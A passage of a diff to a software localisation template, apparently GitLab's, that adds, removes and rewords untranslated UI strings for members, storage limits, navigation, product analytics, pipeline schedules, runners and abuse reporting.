msgid "Last 2 weeks"
msgstr ""
-msgid "Last 30 days"
-msgstr ""
-
-msgid "Last 60 days"
-msgstr ""
-
-msgid "Last 90 days"
-msgstr ""
-
msgid "Last Accessed On"
msgstr ""
@@ -24314,9 +24492,6 @@ msgstr ""
msgid "Last successful update %{time}."
msgstr ""
-msgid "Last time verified"
-msgstr ""
-
msgid "Last update"
msgstr ""
@@ -24386,6 +24561,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24455,9 +24633,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -24566,6 +24741,9 @@ msgstr ""
msgid "LearnGitlab|- Included in trial"
msgstr ""
+msgid "LearnGitlab|Contact your administrator to enable this action."
+msgstr ""
+
msgid "LearnGitlab|Contact your administrator to start a free Ultimate trial."
msgstr ""
@@ -25211,6 +25389,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25226,9 +25407,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25328,6 +25506,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25748,6 +25929,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25785,6 +25969,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25794,6 +25981,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25809,16 +26011,19 @@ msgstr ""
msgid "Members|Are you sure you want to deny %{usersName}'s request to join \"%{source}\""
msgstr ""
+msgid "Members|Are you sure you want to disable the two-factor authentication for %{userName}?"
+msgstr ""
+
msgid "Members|Are you sure you want to leave \"%{source}\"?"
msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25827,9 +26032,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
+msgid "Members|Disable two-factor authentication"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25857,6 +26071,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25884,6 +26101,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25956,9 +26179,6 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
-msgid "Merge locally"
-msgstr ""
-
msgid "Merge options"
msgstr ""
@@ -26013,9 +26233,6 @@ msgstr ""
msgid "Merge requests can't be merged if the status checks did not succeed or are still running."
msgstr ""
-msgid "Merge the feature branch into the target branch and fix any conflicts. %{linkStart}How do I fix them?%{linkEnd}"
-msgstr ""
-
msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
@@ -26175,7 +26392,7 @@ msgstr ""
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26235,6 +26452,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26662,6 +26882,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26914,7 +27140,7 @@ msgstr ""
msgid "Monitor Settings"
msgstr ""
-msgid "Monitor your errors by integrating with Sentry."
+msgid "Monitor your errors directly in GitLab."
msgstr ""
msgid "Monitoring"
@@ -27058,6 +27284,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27112,6 +27341,9 @@ msgstr ""
msgid "Namespace ID:"
msgstr ""
+msgid "Namespace or group to import repository into does not exist."
+msgstr ""
+
msgid "Namespace:"
msgstr ""
@@ -27120,24 +27352,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27231,6 +27475,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27800,9 +28065,6 @@ msgstr ""
msgid "No test coverage"
msgstr ""
-msgid "No triggers exist yet. Use the form above to create one."
-msgstr ""
-
msgid "No user provided"
msgstr ""
@@ -27916,9 +28178,6 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that pushing to GitLab requires write access to this repository."
-msgstr ""
-
msgid "Note: As an administrator you may like to configure %{github_integration_link}, which will allow login via GitHub and allow connecting repositories without generating a Personal Access Token."
msgstr ""
@@ -28401,18 +28660,9 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
-msgstr ""
-
msgid "Number of LOCs per commit"
msgstr ""
@@ -28461,6 +28711,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore telemetry data"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28888,6 +29150,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28963,6 +29228,9 @@ msgstr ""
msgid "Open"
msgstr ""
+msgid "Open Beta."
+msgstr ""
+
msgid "Open Selection"
msgstr ""
@@ -29481,12 +29749,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29645,9 +29907,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29904,9 +30163,6 @@ msgstr ""
msgid "Path:"
msgstr ""
-msgid "Paths can contain wildcards, like */welcome"
-msgstr ""
-
msgid "Paths to protect with rate limiting"
msgstr ""
@@ -30321,7 +30577,10 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
+msgstr ""
+
+msgid "PipelineSchedules|A scheduled pipeline starts automatically at regular intervals, like daily or weekly. The pipeline: "
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30336,6 +30595,12 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Can have custom CI/CD variables."
+msgstr ""
+
+msgid "PipelineSchedules|Create a new pipeline schedule"
+msgstr ""
+
msgid "PipelineSchedules|Cron timezone"
msgstr ""
@@ -30357,6 +30622,9 @@ msgstr ""
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
+msgid "PipelineSchedules|Learn more in the %{linkStart}scheduled pipelines documentation.%{linkEnd}"
+msgstr ""
+
msgid "PipelineSchedules|New schedule"
msgstr ""
@@ -30375,15 +30643,27 @@ msgstr ""
msgid "PipelineSchedules|Pipeline schedule successfully deleted."
msgstr ""
+msgid "PipelineSchedules|Pipeline schedules"
+msgstr ""
+
msgid "PipelineSchedules|Provide a short description for this pipeline"
msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Runs for a specific branch or tag."
+msgstr ""
+
+msgid "PipelineSchedules|Runs with the same project permissions as the schedule owner."
+msgstr ""
+
msgid "PipelineSchedules|Save pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30402,6 +30682,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31203,6 +31486,9 @@ msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
msgstr ""
+msgid "Please use this form to report to the administrator users who create spam issues, comments or behave inappropriately."
+msgstr ""
+
msgid "Please wait a few moments while we load the file history for this line."
msgstr ""
@@ -31572,6 +31858,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31584,42 +31873,246 @@ msgstr ""
msgid "Proceed"
msgstr ""
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
msgid "Product Analytics|Analyze your product with Product Analytics"
msgstr ""
+msgid "Product Analytics|Creating your product analytics instance..."
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
msgstr ""
-msgid "Product Analytics|Set up product analytics..."
+msgid "Product Analytics|Set up product analytics"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|This might take a while, feel free to navigate away from this page and come back later."
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
msgstr ""
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Cancel Edit"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
msgstr ""
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Edit"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Go back"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
msgid "ProductAnalytics|Product analytics dashboards"
msgstr ""
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
+msgid "ProductAnalytics|Single Statistic"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32505,6 +32998,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -33138,6 +33634,9 @@ msgstr ""
msgid "ProjectsDropdown|This feature requires browser localStorage support"
msgstr ""
+msgid "ProjectsDropdown|Toggle edit mode"
+msgstr ""
+
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
@@ -33576,6 +34075,9 @@ msgstr ""
msgid "ProtectedBranch|Branch"
msgstr ""
+msgid "ProtectedBranch|Branch does not exist."
+msgstr ""
+
msgid "ProtectedBranch|Branch will be writable for developers. Are you sure?"
msgstr ""
@@ -33609,6 +34111,9 @@ msgstr ""
msgid "ProtectedBranch|No tags are protected."
msgstr ""
+msgid "ProtectedBranch|Only %{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -33894,7 +34399,7 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
-msgid "Push the target branch up to GitLab."
+msgid "Push the source branch up to GitLab."
msgstr ""
msgid "Push to create a project"
@@ -34095,6 +34600,12 @@ msgstr ""
msgid "Re-import"
msgstr ""
+msgid "Re-import with projects"
+msgstr ""
+
+msgid "Re-import without projects"
+msgstr ""
+
msgid "Re-request review"
msgstr ""
@@ -34465,6 +34976,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34789,9 +35303,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34828,6 +35339,36 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Report abuse to administrator"
+msgstr ""
+
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35020,9 +35561,6 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
msgstr ""
-msgid "RepositoriesAnalytics|Last 30 days"
-msgstr ""
-
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -35309,13 +35847,19 @@ msgstr ""
msgid "Resolve"
msgstr ""
+msgid "Resolve any conflicts. %{linkStart}How do I fix them?%{linkEnd}"
+msgstr ""
+
msgid "Resolve conflicts"
msgstr ""
msgid "Resolve conflicts on source branch"
msgstr ""
-msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgid "Resolve locally"
+msgstr ""
+
+msgid "Resolve these conflicts, or ask someone with write access to this repository to resolve them locally."
msgstr ""
msgid "Resolve thread"
@@ -35408,9 +35952,6 @@ msgstr ""
msgid "Resume"
msgstr ""
-msgid "Resync"
-msgstr ""
-
msgid "Retrieving the compliance report failed. Refresh the page and try again."
msgstr ""
@@ -35615,6 +36156,11 @@ msgid_plural "Runners|%d selected runners deleted"
msgstr[0] ""
msgstr[1] ""
+msgid "Runners|%{highlightStart}%{duration}%{highlightEnd} second"
+msgid_plural "Runners|%{highlightStart}%{duration}%{highlightEnd} seconds"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Runners|%{link_start}These runners%{link_end} are available to all groups and projects."
msgstr ""
@@ -35774,7 +36320,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35804,6 +36350,9 @@ msgstr ""
msgid "Runners|Instance"
msgstr ""
+msgid "Runners|Instance: Median job queued time"
+msgstr ""
+
msgid "Runners|Jobs"
msgstr ""
@@ -35986,6 +36535,9 @@ msgstr ""
msgid "Runners|Runner is stale; last contact was %{timeAgo}"
msgstr ""
+msgid "Runners|Runner performance insights"
+msgstr ""
+
msgid "Runners|Runner registration"
msgstr ""
@@ -36007,6 +36559,9 @@ msgstr ""
msgid "Runners|Runners are the agents that run your CI/CD jobs. To register new runners, please contact your administrator."
msgstr ""
+msgid "Runners|Runners performance"
+msgstr ""
+
msgid "Runners|Running"
msgstr ""
@@ -36096,6 +36651,9 @@ msgstr ""
msgid "Runners|Token expiry"
msgstr ""
+msgid "Runners|Understand how long it takes for runners to pick up a job. %{linkStart}How is this calculated?%{linkEnd}"
+msgstr ""
+
msgid "Runners|Unselect all"
msgstr ""
@@ -36138,6 +36696,9 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|View metrics"
+msgstr ""
+
msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -36147,7 +36708,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36222,6 +36783,12 @@ msgstr ""
msgid "SAST Configuration"
msgstr ""
+msgid "SCIM|SCIM Token"
+msgstr ""
+
+msgid "SCIM|System for Cross-Domain Identity Management."
+msgstr ""
+
msgid "SHA256"
msgstr ""
@@ -37030,6 +37597,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37390,6 +37960,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37846,9 +38419,6 @@ msgstr ""
msgid "Select a template repository"
msgstr ""
-msgid "Select a template type"
-msgstr ""
-
msgid "Select all"
msgstr ""
@@ -37954,6 +38524,9 @@ msgstr ""
msgid "Select subscription"
msgstr ""
+msgid "Select tags"
+msgstr ""
+
msgid "Select target branch"
msgstr ""
@@ -38535,6 +39108,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38750,9 +39326,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39464,6 +40037,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39704,6 +40283,9 @@ msgstr ""
msgid "Start thread"
msgstr ""
+msgid "Start time"
+msgstr ""
+
msgid "Start your Free Ultimate Trial"
msgstr ""
@@ -39731,9 +40313,6 @@ msgstr ""
msgid "Starts %{startsIn}"
msgstr ""
-msgid "Starts at (UTC)"
-msgstr ""
-
msgid "Starts escalations for this incident"
msgstr ""
@@ -41360,9 +41939,6 @@ msgstr ""
msgid "The branch or tag does not exist"
msgstr ""
-msgid "The broadcast message displays only to users in projects and groups who have these roles."
-msgstr ""
-
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
@@ -41497,6 +42073,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41826,9 +42405,6 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
-msgid "Theme"
-msgstr ""
-
msgid "There are currently no mirrored repositories."
msgstr ""
@@ -42204,6 +42780,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42306,21 +42885,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42543,6 +43128,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42618,9 +43206,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
